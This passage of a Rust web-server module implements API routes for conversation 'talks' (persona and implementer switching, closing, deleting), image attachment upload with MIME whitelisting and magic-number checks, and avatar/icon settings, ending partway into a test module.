9988                if persona::find(&cfg.talk.personas, &wanted).is_none() {
9989                    return Err(ApiError::bad_request(format!("unknown persona `{wanted}`")));
9990                }
9991                refuse_if_closed(&ui.talks.get(&id)?)
9992            })
9993            .await?;
9994        }
9995        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9996            return Err(ApiError::conflict(
9997                "a talk turn is running; change the persona once it has answered",
9998            ));
9999        };
10000        let switched = {
10001            let ui = Arc::clone(&ui);
10002            let id = id.clone();
10003            let cfg = cfg.clone();
10004            blocking(move || {
10005                let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
10006                    return Err(ApiError::bad_request(format!(
10007                        "unknown persona `{}`",
10008                        body.persona
10009                    )));
10010                };
10011                let mut talk = ui.talks.get(&id)?;
10012                if !talk.status.open() {
10013                    return Err(ApiError::conflict(format!(
10014                        "talk {} is {} and takes no more turns",
10015                        talk.short(),
10016                        talk.status.as_str()
10017                    )));
10018                }
10019                talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
10020                Ok(talk)
10021            })
10022            .await
10023        };
10024        // As in `talk_agent`: settle the claim before replying, even on refusal.
10025        let observed = ui.queued_generation(&id);
10026        let fresh = {
10027            let ui = Arc::clone(&ui);
10028            let id = id.clone();
10029            blocking(move || Ok(ui.talks.get(&id)?)).await
10030        };
10031        let draining = match fresh {
10032            Ok(talk) => {
10033                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10034            }
10035            Err(_) => false,
10036        };
10037        let talk = switched?;
10038        Ok(Json(TalkView::new(talk, draining, &ui)))
10039    })
10040    .await
10041}
10042
10043/// The body of `POST /api/talks/{id}/implementers`.
10044#[derive(Debug, Deserialize)]
10045struct TalkImplementers {
10046    implementers: u8,
10047}
10048
10049/// `POST /api/talks/{id}/implementers` - choose how many implementers the tasks it files use (1 is Solo). Shaped
10050/// like [`talk_agent`]: the turn guard is held for the change and always handed
10051/// to `drain_loop`, so a draft left meanwhile is not stranded.
10052async fn talk_implementers(
10053    State(ui): State<Arc<Ui>>,
10054    Path(id): Path<String>,
10055    Json(body): Json<TalkImplementers>,
10056) -> ApiResult<Json<TalkView>> {
10057    let admission = ui.begin_admission()?;
10058    admitted(admission, async move {
10059        let id = {
10060            let ui = Arc::clone(&ui);
10061            blocking(move || resolve_talk(&ui.talks, &id)).await?
10062        };
10063        let _publication = crate::consult::publication_guard(&ui.talks, &id)
10064            .await
10065            .map_err(ApiError::from)?;
10066        let repo = {
10067            let ui = Arc::clone(&ui);
10068            let id = id.clone();
10069            blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
10070        };
10071        let cfg = config_for(&repo).await?;
10072        // Refuse a request that cannot succeed before taking the claim: a claim
10073        // taken for it is handed to `drain_loop`, which holds the talk busy for a
10074        // moment, so a refusal would make the next request see "busy" instead of
10075        // its own answer. The checks after the claim stay the ones that decide.
10076        {
10077            let ui = Arc::clone(&ui);
10078            let id = id.clone();
10079            let cfg = cfg.clone();
10080            let wanted = body.implementers;
10081            blocking(move || {
10082                talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
10083                refuse_if_closed(&ui.talks.get(&id)?)
10084            })
10085            .await?;
10086        }
10087        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10088            return Err(ApiError::conflict(
10089                "a talk turn is running; change the implementers once it has answered",
10090            ));
10091        };
10092        let switched = {
10093            let ui = Arc::clone(&ui);
10094            let id = id.clone();
10095            let cfg = cfg.clone();
10096            blocking(move || {
10097                let chosen = talk::check_implementers(body.implementers, &cfg)
10098                    .map_err(ApiError::bad_request)?;
10099                let mut talk = ui.talks.get(&id)?;
10100                if !talk.status.open() {
10101                    return Err(ApiError::conflict(format!(
10102                        "talk {} is {} and takes no more turns",
10103                        talk.short(),
10104                        talk.status.as_str()
10105                    )));
10106                }
10107                talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
10108                Ok(talk)
10109            })
10110            .await
10111        };
10112        // As in `talk_agent`: settle the claim before replying, even on refusal.
10113        let observed = ui.queued_generation(&id);
10114        let fresh = {
10115            let ui = Arc::clone(&ui);
10116            let id = id.clone();
10117            blocking(move || Ok(ui.talks.get(&id)?)).await
10118        };
10119        let draining = match fresh {
10120            Ok(talk) => {
10121                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10122            }
10123            Err(_) => false,
10124        };
10125        let talk = switched?;
10126        Ok(Json(TalkView::new(talk, draining, &ui)))
10127    })
10128    .await
10129}
10130
10131/// `POST /api/talks/{id}/close`.
10132async fn talk_close(
10133    State(ui): State<Arc<Ui>>,
10134    Path(id): Path<String>,
10135) -> ApiResult<Json<TalkView>> {
10136    blocking(move || {
10137        let id = resolve_talk(&ui.talks, &id)?;
10138        let mut talk = ui.talks.get(&id)?;
10139        talk::close(&mut talk, &ui.talks)?;
10140        let thinking = ui.is_thinking(&talk.id);
10141        Ok(Json(TalkView::new(talk, thinking, &ui)))
10142    })
10143    .await
10144}
10145
10146/// `POST /api/talks/{id}/reopen`.
10147async fn talk_reopen(
10148    State(ui): State<Arc<Ui>>,
10149    Path(id): Path<String>,
10150) -> ApiResult<Json<TalkView>> {
10151    blocking(move || {
10152        let id = resolve_talk(&ui.talks, &id)?;
10153        let mut talk = ui.talks.get(&id)?;
10154        talk::reopen(&mut talk, &ui.talks)?;
10155        let thinking = ui.is_thinking(&talk.id);
10156        Ok(Json(TalkView::new(talk, thinking, &ui)))
10157    })
10158    .await
10159}
10160
10161/// `DELETE /api/talks/{id}`.
10162///
10163/// Removes the conversation's record and artifacts outright, unlike
10164/// [`talk_close`] which keeps the record as history. A turn already in
10165/// flight is not refused here the way [`run_delete`] refuses a live run:
10166/// [`talk::record`] and the tail of [`talk::turn`] check for themselves,
10167/// under [`Talks::guard`], that the record they are about to write back is
10168/// still there, so a delete racing a turn is safe without this route having
10169/// to know a turn is running at all.
10170async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
10171    blocking(move || {
10172        let id = resolve_talk(&ui.talks, &id)?;
10173        ui.talks.remove(&id)?;
10174        Ok(StatusCode::NO_CONTENT)
10175    })
10176    .await
10177}
10178
10179fn talk_ids(root: &FsPath) -> Vec<String> {
10180    std::fs::read_dir(root)
10181        .into_iter()
10182        .flatten()
10183        .flatten()
10184        .filter_map(|e| {
10185            let path = e.path();
10186            if path.extension().is_some_and(|ext| ext == "json") {
10187                path.file_stem().and_then(|s| s.to_str()).map(str::to_owned)
10188            } else {
10189                None
10190            }
10191        })
10192        .collect()
10193}
10194
10195/// Expand an id or short id to exactly one talk id.
10196fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
10197    if plain_record_id(id) && store.path_of(id).is_file() {
10198        return Ok(id.to_owned());
10199    }
10200    pick(talk_ids(store.root()), id, "talk")
10201}
10202
10203/// `POST /api/talks/{id}/attachments` - upload one image to attach to a
10204/// future `talk-say`.
10205async fn talk_attachment_post(
10206    State(ui): State<Arc<Ui>>,
10207    Path(id): Path<String>,
10208    headers: HeaderMap,
10209    body: Bytes,
10210) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
10211    let mime = validate_attachment(&headers, &body)?;
10212    let name = filename_header(&headers);
10213    let data = body.to_vec();
10214    blocking(move || {
10215        let id = resolve_talk(&ui.talks, &id)?;
10216        let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
10217        Ok((StatusCode::CREATED, Json(att)))
10218    })
10219    .await
10220}
10221
10222/// `GET /api/talks/{id}/attachments/{att}` - the stored image back, for a
10223/// `<img>` tag in the transcript.
10224async fn talk_attachment_get(
10225    State(ui): State<Arc<Ui>>,
10226    Path((id, att)): Path<(String, String)>,
10227) -> ApiResult<Response> {
10228    blocking(move || {
10229        let id = resolve_talk(&ui.talks, &id)?;
10230        let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
10231            return Err(ApiError::not_found(format!(
10232                "talk {id} has no attachment `{att}`"
10233            )));
10234        };
10235        Ok(attachment_response(&meta.mime, data))
10236    })
10237    .await
10238}
10239
10240/// The avatar URL for one persona of one conversation. `v` is a fingerprint of
10241/// the icon setting, so changing it changes the URL.
10242fn avatar_url(home: &FsPath, talk_id: &str, p: &persona::Persona) -> String {
10243    let id = avatar_encode(&p.id);
10244    format!(
10245        "/api/talks/{talk_id}/avatar?persona={id}&v={}",
10246        persona_icon::fingerprint(
10247            effective_persona_icon(home, &p.id, p.icon.as_deref()).as_deref()
10248        )
10249    )
10250}
10251
10252#[derive(Debug, Default, Deserialize)]
10253struct AvatarQuery {
10254    persona: Option<String>,
10255    /// Set by the page after the first load failed: skip the `icon`.
10256    builtin: Option<String>,
10257}
10258
10259/// Served with every built-in avatar: it is an image, so nothing else may run.
10260const AVATAR_CSP: &str = "default-src 'none'; style-src 'unsafe-inline'; sandbox";
10261
10262fn builtin_avatar(id: &str) -> Response {
10263    svg_avatar(persona_icon::builtin_svg(id))
10264}
10265
10266async fn operator_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
10267    raster_or_builtin(
10268        read_icon_file(&avatar_setting_path(&ui.home, None))
10269            .filter(|_| q.builtin.is_none())
10270            .as_deref(),
10271        persona_icon::operator_svg(),
10272    )
10273}
10274
10275fn svg_avatar(svg: &'static str) -> Response {
10276    (
10277        [
10278            (header::CONTENT_TYPE, "image/svg+xml"),
10279            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
10280            (header::CONTENT_SECURITY_POLICY, AVATAR_CSP),
10281            (header::CACHE_CONTROL, "no-cache"),
10282        ],
10283        svg,
10284    )
10285        .into_response()
10286}
10287
10288fn avatar_encode(value: &str) -> String {
10289    value
10290        .bytes()
10291        .map(|b| {
10292            if b.is_ascii_alphanumeric() || b"-_.".contains(&b) {
10293                char::from(b).to_string()
10294            } else {
10295                format!("%{b:02X}")
10296            }
10297        })
10298        .collect()
10299}
10300
10301// Display-only overrides live outside configuration and conversation records.
10302fn avatar_setting_path(home: &FsPath, persona: Option<&str>) -> PathBuf {
10303    let Some(id) = persona else {
10304        return home.join("avatars/operator.data");
10305    };
10306    let encoded: String = id.bytes().map(|b| format!("{b:02x}")).collect();
10307    let mut path = home.join("avatars/personas");
10308    for chunk in encoded.as_bytes().chunks(100) {
10309        path.push(std::str::from_utf8(chunk).expect("hex"));
10310    }
10311    path.join("icon.data")
10312}
10313
10314fn effective_persona_icon(home: &FsPath, id: &str, configured: Option<&str>) -> Option<String> {
10315    match read_icon_file(&avatar_setting_path(home, Some(id))) {
10316        Some(value) if value == "builtin" => Some(String::new()),
10317        Some(value) => Some(value),
10318        None => configured.map(str::to_owned),
10319    }
10320}
10321
10322fn operator_icon_url(home: &FsPath) -> String {
10323    format!(
10324        "/avatars/operator.svg?v={}",
10325        persona_icon::fingerprint(
10326            read_icon_file(&avatar_setting_path(home, None))
10327                .as_deref()
10328                .or(Some(persona_icon::operator_svg()))
10329        )
10330    )
10331}
10332
10333fn raster_or_builtin(icon: Option<&str>, builtin: &'static str) -> Response {
10334    let mut response = match icon.and_then(|i| persona_icon::load(i).ok()) {
10335        Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10336            attachment_response(mime, bytes)
10337        }
10338        _ => svg_avatar(builtin),
10339    };
10340    response
10341        .headers_mut()
10342        .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
10343    response
10344}
10345
10346#[derive(Default, Deserialize)]
10347struct AvatarSettingsQuery {
10348    repo: Option<PathBuf>,
10349    persona: Option<String>,
10350    builtin: Option<String>,
10351    inherit: Option<String>,
10352}
10353
10354fn avatar_settings_specs(
10355    ui: &Ui,
10356    repo: Option<PathBuf>,
10357) -> ApiResult<(PathBuf, Vec<crate::config::PersonaSpec>)> {
10358    let (repo, _) = settings_context(ui, SettingsQuery { repo })?;
10359    let specs = settings::repository_config(&repo, ui.machine_config.as_deref())
10360        .map(|cfg| cfg.talk.personas)
10361        .unwrap_or_default();
10362    Ok((repo, specs))
10363}
10364
10365fn saved_persona_ids(path: &FsPath, prefix: &str, out: &mut Vec<String>) {
10366    let Ok(entries) = std::fs::read_dir(path) else {
10367        return;
10368    };
10369    for entry in entries.flatten() {
10370        let name = entry.file_name().to_string_lossy().into_owned();
10371        if name == "icon.data" {
10372            let bytes: Option<Vec<u8>> = prefix
10373                .as_bytes()
10374                .chunks(2)
10375                .map(|c| u8::from_str_radix(std::str::from_utf8(c).ok()?, 16).ok())
10376                .collect();
10377            if let Some(id) = bytes.and_then(|b| String::from_utf8(b).ok()) {
10378                out.push(id);
10379            }
10380        } else if name.len() <= 100
10381            && !name.is_empty()
10382            && name.bytes().all(|b| b.is_ascii_hexdigit())
10383            && entry.file_type().is_ok_and(|t| t.is_dir())
10384        {
10385            saved_persona_ids(&entry.path(), &format!("{prefix}{name}"), out);
10386        }
10387    }
10388}
10389
10390async fn avatar_settings_get(
10391    State(ui): State<Arc<Ui>>,
10392    Query(q): Query<AvatarSettingsQuery>,
10393) -> ApiResult<Json<serde_json::Value>> {
10394    blocking(move || {
10395        let (repo, specs) = avatar_settings_specs(&ui, q.repo)?;
10396        let mut catalog = persona::catalog(&specs);
10397        let known_ids: Vec<_> = catalog.iter().map(|p| p.id.clone()).collect();
10398        let mut saved = Vec::new();
10399        saved_persona_ids(&ui.home.join("avatars/personas"), "", &mut saved);
10400        for id in saved {
10401            if !catalog.iter().any(|p| p.id == id) {
10402                catalog.push(persona::Persona { name: format!("{id} (saved override)"), id, prompt: String::new(), icon: None });
10403            }
10404        }
10405        let personas: Vec<_> = catalog.iter().map(|p| {
10406            let saved = read_icon_file(&avatar_setting_path(&ui.home, Some(&p.id)));
10407            let override_state = match saved.as_deref() {
10408                Some("builtin") => "builtin",
10409                Some(_) => "custom",
10410                None => "inherit",
10411            };
10412            let icon = effective_persona_icon(&ui.home, &p.id, p.icon.as_deref());
10413            serde_json::json!({"id":p.id,"name":p.name,
10414                "override_state":override_state,"has_config_icon":p.icon.is_some(),
10415                "is_orphan":!known_ids.contains(&p.id),"avatar":format!("/avatars/persona?persona={}&repo={}&v={}",
10416                avatar_encode(&p.id), avatar_encode(&repo.to_string_lossy()), persona_icon::fingerprint(icon.as_deref()))})
10417        }).collect();
10418        Ok(Json(serde_json::json!({"operator":operator_icon_url(&ui.home), "personas":personas})))
10419    }).await
10420}
10421
10422async fn settings_persona_avatar(
10423    State(ui): State<Arc<Ui>>,
10424    Query(q): Query<AvatarSettingsQuery>,
10425) -> ApiResult<Response> {
10426    blocking(move || {
10427        let (_, specs) = avatar_settings_specs(&ui, q.repo)?;
10428        let id = q.persona.as_deref().unwrap_or(persona::DEFAULT_ID);
10429        let found = persona::find(&specs, id);
10430        let icon =
10431            effective_persona_icon(&ui.home, id, found.as_ref().and_then(|p| p.icon.as_deref()));
10432        Ok(raster_or_builtin(
10433            icon.as_deref().filter(|_| q.builtin.is_none()),
10434            persona_icon::builtin_svg(id),
10435        ))
10436    })
10437    .await
10438}
10439
10440fn validate_avatar_target(q: &AvatarSettingsQuery) -> ApiResult<()> {
10441    if q.persona
10442        .as_ref()
10443        .is_some_and(|p| p.is_empty() || p.len() > 4096)
10444    {
10445        return Err(ApiError::bad_request("invalid persona id"));
10446    }
10447    Ok(())
10448}
10449
10450async fn avatar_settings_put(
10451    State(ui): State<Arc<Ui>>,
10452    Query(q): Query<AvatarSettingsQuery>,
10453    Json(upload): Json<MagiIconUpload>,
10454) -> ApiResult<Json<serde_json::Value>> {
10455    blocking(move || {
10456        validate_avatar_target(&q)?;
10457        save_icon_file(
10458            &avatar_setting_path(&ui.home, q.persona.as_deref()),
10459            &upload.icon,
10460        )
10461        .map_err(ApiError::bad_request_from)?;
10462        Ok(Json(serde_json::json!({"saved":true})))
10463    })
10464    .await
10465}
10466
10467async fn avatar_settings_delete(
10468    State(ui): State<Arc<Ui>>,
10469    Query(q): Query<AvatarSettingsQuery>,
10470) -> ApiResult<Json<serde_json::Value>> {
10471    blocking(move || {
10472        validate_avatar_target(&q)?;
10473        let path = avatar_setting_path(&ui.home, q.persona.as_deref());
10474        if q.persona.is_some() && q.inherit.is_none() {
10475            atomic_icon_write(&path, "builtin")?;
10476        } else {
10477            match std::fs::remove_file(path) {
10478                Ok(()) => (),
10479                Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
10480                Err(e) => return Err(anyhow::Error::from(e).into()),
10481            }
10482        }
10483        Ok(Json(serde_json::json!({"saved":true})))
10484    })
10485    .await
10486}
10487
10488// The global MAGI icon is deliberately independent of repository configuration.
10489fn magi_icon_path(home: &FsPath) -> PathBuf {
10490    home.join("magi-icon.data")
10491}
10492
10493fn read_magi_icon(home: &FsPath) -> Option<String> {
10494    read_icon_file(&magi_icon_path(home))
10495}
10496
10497fn read_icon_file(path: &FsPath) -> Option<String> {
10498    let metadata = std::fs::metadata(path).ok()?;
10499    if !metadata.is_file() || metadata.len() > persona_icon::ICON_MAX_BYTES as u64 {
10500        return None;
10501    }
10502    let file = std::fs::File::open(path).ok()?;
10503    use std::io::Read;
10504    let mut text = String::new();
10505    file.take(persona_icon::ICON_MAX_BYTES as u64 + 1)
10506        .read_to_string(&mut text)
10507        .ok()?;
10508    if text.len() > persona_icon::ICON_MAX_BYTES {
10509        return None;
10510    }
10511    if text == "builtin" {
10512        return Some(text);
10513    }
10514    validate_uploaded_icon(&text).ok()?;
10515    Some(text)
10516}
10517
10518fn magi_icon_url(home: &FsPath) -> String {
10519    format!(
10520        "/avatars/magi?v={}",
10521        persona_icon::fingerprint(read_magi_icon(home).as_deref())
10522    )
10523}
10524
10525async fn magi_icon_get(State(ui): State<Arc<Ui>>) -> Json<serde_json::Value> {
10526    Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)}))
10527}
10528
10529#[derive(Deserialize)]
10530struct MagiIconUpload {
10531    icon: String,
10532}
10533
10534fn save_magi_icon(home: &FsPath, icon: &str) -> Result<()> {
10535    save_icon_file(&magi_icon_path(home), icon)
10536}
10537
10538fn validate_uploaded_icon(icon: &str) -> Result<()> {
10539    if !icon.starts_with("data:") {
10540        anyhow::bail!("upload a raster image");
10541    }
10542    let (mime, bytes) = persona_icon::load(icon)?;
10543    if sniffed_mime(&bytes) != Some(mime) {
10544        anyhow::bail!("image content does not match its type");
10545    }
10546    Ok(())
10547}
10548
10549fn save_icon_file(path: &FsPath, icon: &str) -> Result<()> {
10550    validate_uploaded_icon(icon)?;
10551    atomic_icon_write(path, icon)
10552}
10553
10554fn atomic_icon_write(path: &FsPath, icon: &str) -> Result<()> {
10555    let home = path.parent().expect("icon parent");
10556    std::fs::create_dir_all(home)?;
10557    let token = crate::rng::SplitMix64::new(crate::rng::entropy()).uuid_v4();
10558    let temp = home.join(format!(".magi-icon-{token}.tmp"));
10559    let result = (|| -> Result<()> {
10560        use std::io::Write;
10561        let mut file = std::fs::OpenOptions::new()
10562            .write(true)
10563            .create_new(true)
10564            .open(&temp)?;
10565        file.write_all(icon.as_bytes())?;
10566        file.sync_all()?;
10567        std::fs::rename(&temp, path)?;
10568        Ok(())
10569    })();
10570    let _ = std::fs::remove_file(temp);
10571    result?;
10572    Ok(())
10573}
10574
10575async fn magi_icon_put(
10576    State(ui): State<Arc<Ui>>,
10577    Json(upload): Json<MagiIconUpload>,
10578) -> ApiResult<Json<serde_json::Value>> {
10579    blocking(move || {
10580        if !upload.icon.starts_with("data:") {
10581            return Err(ApiError::bad_request("upload a raster image"));
10582        }
10583        let (mime, bytes) = persona_icon::load(&upload.icon).map_err(ApiError::bad_request_from)?;
10584        if sniffed_mime(&bytes) != Some(mime) {
10585            return Err(ApiError::bad_request(
10586                "image content does not match its type",
10587            ));
10588        }
10589        save_magi_icon(&ui.home, &upload.icon)?;
10590        Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
10591    })
10592    .await
10593}
10594
10595async fn magi_icon_delete(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
10596    blocking(move || {
10597        match std::fs::remove_file(magi_icon_path(&ui.home)) {
10598            Ok(()) => (),
10599            Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
10600            Err(e) => return Err(anyhow::Error::from(e).into()),
10601        }
10602        Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
10603    })
10604    .await
10605}
10606
10607async fn magi_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
10608    let icon = (q.builtin.is_none())
10609        .then(|| read_magi_icon(&ui.home))
10610        .flatten();
10611    let mut response = match icon
10612        .as_deref()
10613        .and_then(|icon| persona_icon::load(icon).ok())
10614    {
10615        Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10616            attachment_response(mime, bytes)
10617        }
10618        _ => svg_avatar(persona_icon::magi_svg()),
10619    };
10620    response
10621        .headers_mut()
10622        .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
10623    response
10624}
10625
10626/// `GET /api/talks/{id}/avatar?persona=<id>` - a persona's avatar: the
10627/// operator's raster `icon` when it resolves and its bytes agree with its
10628/// type, the built-in SVG otherwise. Display only; every failure is a warning
10629/// and the built-in avatar, never an error response.
10630async fn talk_avatar(
10631    State(ui): State<Arc<Ui>>,
10632    Path(id): Path<String>,
10633    Query(q): Query<AvatarQuery>,
10634) -> ApiResult<Response> {
10635    blocking(move || {
10636        let id = resolve_talk(&ui.talks, &id)?;
10637        let talk = ui.talks.get(&id)?;
10638        let wanted = q
10639            .persona
10640            .as_deref()
10641            .map(str::trim)
10642            .filter(|p| !p.is_empty())
10643            .unwrap_or(&talk.persona)
10644            .to_owned();
10645        let specs = match Config::discover(&talk.repo, None) {
10646            Ok((cfg, _)) => cfg.talk.personas,
10647            Err(e) => {
10648                tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
10649                Vec::new()
10650            }
10651        };
10652        let found = persona::find(&specs, &wanted);
10653        // Stored blank IDs are the plain voice, whose canonical ID is `default`.
10654        let wanted = found.as_ref().map_or(wanted, |p| p.id.clone());
10655        let icon = effective_persona_icon(
10656            &ui.home,
10657            &wanted,
10658            found.as_ref().and_then(|p| p.icon.as_deref()),
10659        );
10660        if found.is_none() && icon.is_none() {
10661            return Ok(builtin_avatar(persona::DEFAULT_ID));
10662        }
10663        let Some(icon) = icon
10664            .as_deref()
10665            .filter(|icon| !icon.is_empty() && q.builtin.is_none())
10666        else {
10667            return Ok(builtin_avatar(&wanted));
10668        };
10669        let Some(found) = found else {
10670            return Ok(raster_or_builtin(
10671                Some(icon),
10672                persona_icon::builtin_svg(&wanted),
10673            ));
10674        };
10675        match persona_icon::load(icon) {
10676            Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10677                let mut res = attachment_response(mime, bytes);
10678                res.headers_mut().insert(
10679                    header::CACHE_CONTROL,
10680                    header::HeaderValue::from_static("no-cache"),
10681                );
10682                Ok(res)
10683            }
10684            Ok((mime, _)) => {
10685                tracing::warn!(
10686                    "avatar: icon of persona `{}` is not really {mime}; using the built-in",
10687                    found.id
10688                );
10689                Ok(builtin_avatar(&found.id))
10690            }
10691            Err(e) => {
10692                tracing::warn!(
10693                    "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
10694                    found.id
10695                );
10696                Ok(builtin_avatar(&found.id))
10697            }
10698        }
10699    })
10700    .await
10701}
10702
10703/// Validate an attachment upload's declared `Content-Type` and the bytes
10704/// themselves, returning the canonical mime on success.
10705///
10706/// Two checks, both required: the header has to name one of
10707/// [`ATTACHMENT_MIME_WHITELIST`] (which is what keeps SVG out - it is
10708/// simply never in the list, active content rather than a picture, the same
10709/// exclusion [`asset_content_type`]'s doc explains), and the file's own
10710/// magic number has to agree. The second is what stops a mislabeled upload -
10711/// an HTML file sent as `Content-Type: image/png` - from ever reaching disk;
10712/// a declared type is a claim, not a fact, so it is never trusted alone.
10713fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
10714    if data.len() > ATTACHMENT_MAX_BYTES {
10715        return Err(ApiError::bad_request(format!(
10716            "attachment is {} bytes, over the {} MiB limit",
10717            data.len(),
10718            ATTACHMENT_MAX_BYTES / (1024 * 1024)
10719        ))
10720        .with_status(StatusCode::PAYLOAD_TOO_LARGE));
10721    }
10722    if data.is_empty() {
10723        return Err(ApiError::bad_request("attachment is empty"));
10724    }
10725    let declared = declared_mime(headers)?;
10726    match sniffed_mime(data) {
10727        Some(sniffed) if sniffed == declared => Ok(declared),
10728        Some(sniffed) => Err(ApiError::bad_request(format!(
10729            "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
10730        ))),
10731        None => Err(ApiError::bad_request(
10732            "the file's bytes do not match any accepted image format",
10733        )),
10734    }
10735}
10736
10737/// The declared `Content-Type`, checked against [`ATTACHMENT_MIME_WHITELIST`]
10738/// and nothing else - parameters like `; charset=` are stripped, but the
10739/// value itself is not otherwise interpreted.
10740fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
10741    let raw = headers
10742        .get(header::CONTENT_TYPE)
10743        .and_then(|v| v.to_str().ok())
10744        .unwrap_or("")
10745        .split(';')
10746        .next()
10747        .unwrap_or("")
10748        .trim()
10749        .to_ascii_lowercase();
10750    ATTACHMENT_MIME_WHITELIST
10751        .iter()
10752        .find(|&&m| m == raw)
10753        .copied()
10754        .ok_or_else(|| {
10755            if raw == "image/svg+xml" {
10756                ApiError::bad_request(
10757                    "SVG is not accepted: it can carry active content (e.g. a <script>), \
10758                     not just a picture",
10759                )
10760            } else if raw.is_empty() {
10761                ApiError::bad_request("Content-Type is required for an attachment upload")
10762            } else {
10763                ApiError::bad_request(format!(
10764                    "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
10765                     image/gif or image/webp"
10766                ))
10767            }
10768        })
10769}
10770
10771/// Identify an image by its magic number, independent of whatever
10772/// `Content-Type` claimed.
10773fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
10774    if data.starts_with(b"\x89PNG\r\n\x1a\n") {
10775        Some("image/png")
10776    } else if data.starts_with(b"\xff\xd8\xff") {
10777        Some("image/jpeg")
10778    } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
10779        Some("image/gif")
10780    } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
10781        Some("image/webp")
10782    } else {
10783        None
10784    }
10785}
10786
10787/// The operator's own filename, from [`FILENAME_HEADER`], kept only for
10788/// display - see [`talk::Attachment::name`]'s doc on why it never
10789/// contributes to a path. A missing or blank header (curl without it, an
10790/// older front end) falls back to a generic name rather than refusing the
10791/// upload over a field that is cosmetic.
10792fn filename_header(headers: &HeaderMap) -> String {
10793    headers
10794        .get(FILENAME_HEADER)
10795        .and_then(|v| v.to_str().ok())
10796        .map(str::trim)
10797        .filter(|s| !s.is_empty())
10798        .unwrap_or("attachment")
10799        .to_owned()
10800}
10801
10802/// Every attachment `GET` response: the mime re-validated against the same
10803/// closed whitelist the upload route enforces - never the string trusted
10804/// verbatim off disk - plus `X-Content-Type-Options: nosniff`, so a browser
10805/// cannot decide it knows better than the type we send. Unlike a panel asset
10806/// there is no [`PANEL_CSP`] here: this is a plain image the phone's own
10807/// document renders inline, not agent-authored HTML in a sandboxed frame.
10808fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
10809    let content_type = ATTACHMENT_MIME_WHITELIST
10810        .iter()
10811        .find(|&&m| m == mime)
10812        .copied()
10813        .unwrap_or("application/octet-stream");
10814    (
10815        [
10816            (header::CONTENT_TYPE, content_type),
10817            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
10818        ],
10819        body,
10820    )
10821        .into_response()
10822}
10823
10824/// The configuration for a repository, read off the disk for this request.
10825///
10826/// Through [`blocking`] because discovery reads and merges several TOML files,
10827/// and because the alternative - caching it in [`Ui`] at startup - would mean
10828/// the operator's phone kept interviewing with a roster they had already
10829/// changed, with no way to reload it but restarting the server they are not
10830/// sitting in front of.
10831async fn config_for(repo: &FsPath) -> ApiResult<Config> {
10832    let repo = repo.to_path_buf();
10833    blocking(move || {
10834        let (cfg, _) = Config::discover(&repo, None)?;
10835        Ok(cfg)
10836    })
10837    .await
10838}
10839
10840/// The one prefix rule, used for both runs and tasks: a leading match for a
10841/// full id, a trailing match for the short form an operator reads off a
10842/// report. Written here rather than borrowed from `queue::resolve_id` because
10843/// the UI needs the two failures as different status codes, and telling them
10844/// apart from an error message is not something to build a route on.
10845fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
10846    let mut hits = ids
10847        .into_iter()
10848        .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
10849    match (hits.next(), hits.next()) {
10850        (Some(one), None) => Ok(one),
10851        (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
10852        (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
10853            "`{prefix}` matches more than one {what}, including {a} and {b}"
10854        ))),
10855    }
10856}
10857
10858#[cfg(test)]
10859mod tests {
10860
10861    #[test]
10862    fn deputy_exhausted_requires_an_open_question_without_a_live_holder() {
10863        let dir = tempfile::tempdir().unwrap();
10864        let store = ask::Questions::at(dir.path().join("questions"));
10865        let mut q = Question::new(
10866            "task".to_owned(),
10867            "conduct".to_owned(),
10868            "conduct".to_owned(),
10869            "choose".to_owned(),
10870            String::new(),
10871            vec!["keep".to_owned()],
10872        );
10873        q.deputy = Some(ask::Deputy::new("brief".to_owned()));
10874        q.say("why?").unwrap();
10875        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS - 1;
10876        assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10877        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
